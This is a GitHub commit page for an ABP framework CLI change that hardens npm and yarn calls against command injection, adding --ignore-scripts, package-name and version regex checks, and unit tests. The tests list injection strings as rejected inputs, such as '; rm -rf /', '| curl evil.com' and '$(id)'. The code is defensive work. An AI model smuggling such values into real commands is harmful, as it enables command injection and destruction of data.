Browse Source

Merge pull request #25210 from abpframework/cli/sanitize-package-json-scripts

Sanitize package.json and prevent command injection in ABP CLI
pull/25211/head
Alper Ebiçoğlu 3 months ago
committed by GitHub
parent
commit
f616cee7cb
No known key found for this signature in database GPG Key ID: B5690EEEBB952194
  1. 38
      framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs
  2. 11
      framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs
  3. 47
      framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs
  4. 64
      framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs

38
framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs

@ -359,18 +359,38 @@ public class NpmPackagesUpdater : ITransientDependency
var properties = dependencies.Properties().ToList();
abpPackages
.AddRange(
properties.Where(
p => p.Name.StartsWith("@abp/")
|| p.Name.StartsWith("@volo/")
|| p.Name.StartsWith("@volosoft/")).ToList()
);
foreach (var p in properties.Where(
p => p.Name.StartsWith("@abp/")
|| p.Name.StartsWith("@volo/")
|| p.Name.StartsWith("@volosoft/")))
{
if (IsValidNpmPackageName(p.Name))
{
abpPackages.Add(p);
}
else
{
Logger.LogWarning($"Skipping invalid npm package name: {NpmHelper.SanitizeForLog(p.Name)}");
}
}
}
return abpPackages;
}
public static bool IsValidNpmPackageName(string packageName)
{
try
{
NpmHelper.EnsureSafePackageName(packageName);
return true;
}
catch (CliUsageException)
{
return false;
}
}
protected virtual async Task RunInstallLibsAsync(string fileDirectory)
{
Logger.LogInformation("Installing client-side packages...");
@ -380,13 +400,13 @@ public class NpmPackagesUpdater : ITransientDependency
protected virtual void RunYarn(string fileDirectory)
{
Logger.LogInformation($"Running Yarn on {fileDirectory}");
CmdHelper.RunCmd($"npx yarn", fileDirectory);
CmdHelper.RunCmd($"npx yarn --ignore-scripts", fileDirectory);
}
protected virtual void RunNpmInstall(string fileDirectory)
{
Logger.LogInformation($"Running npm install on {fileDirectory}");
CmdHelper.RunCmd($"npm install", fileDirectory);
CmdHelper.RunCmd($"npm install --ignore-scripts", fileDirectory);
}
protected virtual List<string> GetPackageVersionList(JProperty package, string workingDirectory = null)

11
framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs

@ -72,6 +72,9 @@ public class ProjectNpmPackageAdder : ITransientDependency
return;
}
NpmHelper.EnsureSafePackageName(npmPackage.Name);
NpmHelper.EnsureSafeVersion(version);
Logger.LogInformation($"Installing '{npmPackage.Name}' package to the project '{packageJsonFilePath}'...");
if (!File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\""))
@ -81,7 +84,7 @@ public class ProjectNpmPackageAdder : ITransientDependency
using (DirectoryHelper.ChangeCurrentDirectory(directory))
{
Logger.LogInformation("yarn add " + npmPackage.Name + versionPostfix);
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix);
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix + " --ignore-scripts");
}
}
else
@ -130,6 +133,8 @@ public class ProjectNpmPackageAdder : ITransientDependency
public async Task AddMvcPackageAsync(string directory, NpmPackageInfo npmPackage, string version = null,
bool skipInstallingLibs = false)
{
NpmHelper.EnsureSafePackageName(npmPackage.Name);
var packageJsonFilePath = Path.Combine(directory, "package.json");
if (!File.Exists(packageJsonFilePath) ||
File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\""))
@ -144,12 +149,14 @@ public class ProjectNpmPackageAdder : ITransientDependency
version = DetectAbpVersionOrNull(Path.Combine(directory, "package.json"));
}
NpmHelper.EnsureSafeVersion(version);
var versionPostfix = version != null ? $"@{version}" : string.Empty;
using (DirectoryHelper.ChangeCurrentDirectory(directory))
{
Logger.LogInformation("yarn add " + npmPackage.Name + versionPostfix);
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix);
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix + " --ignore-scripts");
if (skipInstallingLibs)
{

47
framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs

@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Logging.Abstractions;
using NuGet.Versioning;
@ -53,26 +54,64 @@ public class NpmHelper : ITransientDependency
public void RunNpmInstall(string directory, params string[] args)
{
Logger.LogInformation($"Running npm install on {directory}");
CmdHelper.RunCmd($"npm install {args.JoinAsString(" ")}", directory);
CmdHelper.RunCmd($"npm install --ignore-scripts {args.JoinAsString(" ")}", directory);
}
public void RunYarn(string directory)
{
Logger.LogInformation($"Running Yarn on {directory}");
CmdHelper.RunCmd($"npx yarn", directory);
CmdHelper.RunCmd($"npx yarn --ignore-scripts", directory);
}
[Obsolete("This method is deprecated. Use 'YarnAddPackage' instead (it uses 'npx', so there is no need for 'yarn' to be globally installed.")]
public void NpmInstallPackage(string package, string version, string directory)
{
EnsureSafePackageName(package);
EnsureSafeVersion(version);
var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty;
CmdHelper.RunCmd("npm install " + package + packageVersion, workingDirectory: directory);
CmdHelper.RunCmd("npm install --ignore-scripts " + package + packageVersion, workingDirectory: directory);
}
public void YarnAddPackage(string package, string version, string directory)
{
EnsureSafePackageName(package);
EnsureSafeVersion(version);
var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty;
CmdHelper.RunCmd("npx yarn add " + package + packageVersion, workingDirectory: directory);
CmdHelper.RunCmd("npx yarn add " + package + packageVersion + " --ignore-scripts", workingDirectory: directory);
}
private static readonly Regex SafePackageNameRegex = new(
@"^(@[a-zA-Z0-9][a-zA-Z0-9._-]*/)?[a-zA-Z0-9][a-zA-Z0-9._-]*$",
RegexOptions.Compiled);
private static readonly Regex SafeVersionRegex = new(
@"^[a-zA-Z0-9._~^+\-]+$",
RegexOptions.Compiled);
public static void EnsureSafePackageName(string packageName)
{
if (string.IsNullOrWhiteSpace(packageName) || !SafePackageNameRegex.IsMatch(packageName))
{
throw new CliUsageException($"Invalid npm package name detected: {SanitizeForLog(packageName)}");
}
}
public static void EnsureSafeVersion(string version)
{
if (!string.IsNullOrWhiteSpace(version) && !SafeVersionRegex.IsMatch(version))
{
throw new CliUsageException($"Invalid npm package version detected: {SanitizeForLog(version)}");
}
}
public static string SanitizeForLog(string value)
{
if (value == null)
{
return "(null)";
}
return Regex.Replace(value, @"[\x00-\x1F\x7F]", "?");
}
public string GetInstalledNpmPackages()

64
framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs

@ -0,0 +1,64 @@
using Shouldly;
using Volo.Abp.Cli.ProjectModification;
using Volo.Abp.Cli.Utils;
using Xunit;
namespace Volo.Abp.Cli;
public class NpmPackagesUpdater_Tests
{
[Theory]
[InlineData("@abp/ng.core", true)]
[InlineData("@abp/ng.theme.shared", true)]
[InlineData("@abp/ng.components", true)]
[InlineData("@volo/abp.ng.lepton-x.core", true)]
[InlineData("@volo/abp.commercial.ng.ui", true)]
[InlineData("@volosoft/abp.ng.theme.lepton", true)]
[InlineData("@abp/core && calc.exe", false)]
[InlineData("@abp/core; rm -rf /", false)]
[InlineData("@abp/core | curl evil.com", false)]
[InlineData("@abp/core`whoami`", false)]
[InlineData("@abp/core$(id)", false)]
[InlineData("@abp/core\nnewline", false)]
[InlineData("@abp/ space", false)]
[InlineData("@abp/", false)]
[InlineData("@abp/ng core", false)]
[InlineData(null, false)]
[InlineData("", false)]
public void IsValidNpmPackageName(string packageName, bool expected)
{
NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected);
}
[Theory]
[InlineData("1.0.0", false)]
[InlineData("^8.0.0", false)]
[InlineData("~8.0.0", false)]
[InlineData("8.0.0-preview.1", false)]
[InlineData("8.0.0-preview20260401", false)]
[InlineData("8.0.0+build.123", false)]
[InlineData("latest", false)]
[InlineData("next", false)]
[InlineData(null, false)]
[InlineData("", false)]
[InlineData("1.0.0 && calc.exe", true)]
[InlineData("1.0.0; rm -rf /", true)]
[InlineData("1.0.0 | curl evil.com", true)]
[InlineData("1.0.0`whoami`", true)]
[InlineData("1.0.0$(id)", true)]
[InlineData("1.0.0\nnewline", true)]
[InlineData(">1.0.0", true)]
[InlineData("<2.0.0", true)]
[InlineData("1.0.0|2.0.0", true)]
public void EnsureSafeVersion(string version, bool shouldThrow)
{
if (shouldThrow)
{
Should.Throw<CliUsageException>(() => NpmHelper.EnsureSafeVersion(version));
}
else
{
Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version));
}
}
}
Loading…
Cancel
Save